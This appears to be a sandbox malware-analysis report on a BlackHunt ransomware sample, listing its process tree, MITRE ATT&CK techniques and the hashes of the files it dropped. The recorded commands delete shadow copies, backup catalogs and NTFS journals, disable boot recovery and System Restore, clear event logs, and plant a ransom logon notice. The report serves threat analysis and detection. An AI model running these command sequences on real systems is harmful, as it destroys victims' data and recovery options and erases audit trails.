    3⤵
    PID:1724
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2168
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:676
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2468
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:1716
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1956
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1016
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2748
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2108
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:2044
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:2948
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:1436
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:536
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:1968
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:1952
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:1980
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3004
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1940
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1196
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2764
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:788
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1188
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2860
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:920
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:1664
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:2520
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:2596
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe" /F
  2⤵
  PID:2900
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:1588
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:1876
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:1048
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:1768
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2876
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:328
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:1704
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:1300
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:676
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:768
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:2156
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:1464
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2704
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:556
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1720
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:1044
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:2028
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:1468
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2980
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:408
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:2476
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:3184
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:3204
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:2364
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:3824
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:3816
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:3316
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:3672
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3664
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:3860
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2516
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:3884
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:1308
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:4016
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3980
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:3788
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3348
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:4088
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:2540
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:2548
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:4028
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:3808
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:2344
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:3908
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:2816
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:4044
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:2020
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:1576
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:1084
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:3640
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:1984
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:4048
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:2180
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:3852
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3508
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:3964
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4012
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:3444
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2316
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:3904
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2672
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:3648
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:3580
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:3836
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1640
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe"
  2⤵
  - Deletes itself
  PID:3680
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:1808

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1296

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2528

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:1108

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Modifies registry class
PID:2592

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

C:\Program Files\7-Zip\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
07c284208888ab058e5dd01e6fb4dac2

SHA1
309962de87ed58a8a15cb9c963dc7ee2342a7ba4

SHA256
b5c445343a7505e11254cecaa294a4217d93faae94dfda434b80386609131af7

SHA512
d1eb9bb5dc2636f9c0ff16bcf953a1a0b09a103a20ed36ea856864c8402822ec74d5efd88900364431798b237b4737ffdadbe1478e9fdebe6f708ccf37cd99e3

Download Submit
C:\ProgramData\#BlackHunt_Private.key

Filesize
1KB

MD5
0bc681106b476f52d755022b8d5af7ca

SHA1
3ce3fcc1be2f067e9e334809e06dc96812819da8

SHA256
68e3de837c38f2a0f23ead04e2503e58b0d03f5311004401425deb222a4c34fb

SHA512
a6af0f3828d6080e735a4f01d2824c444296a1dc338a36fc4e9d1fcaee0245f72c9e9e83907b90ce0a5ec2a1254a999d3acc11be10a5ad9f260f1ab809e96ad3

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
332da2d76b0ebbddf059ff674b9e1fa1

SHA1
12a9f5bcab46511002195712a10b3adc465bd2df

SHA256
61c939396018681227a0655e2cf1837f3ff3cfc5cb437eba4ac09b63f1354702

SHA512
708c490b8cee1def0ca06389d1502e1f9a9caf4967c83866bf74c15e119a6979efd7555e600c731229b3b82de3561ad13d83c89a1731a5b5fd36f54a4210055e

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads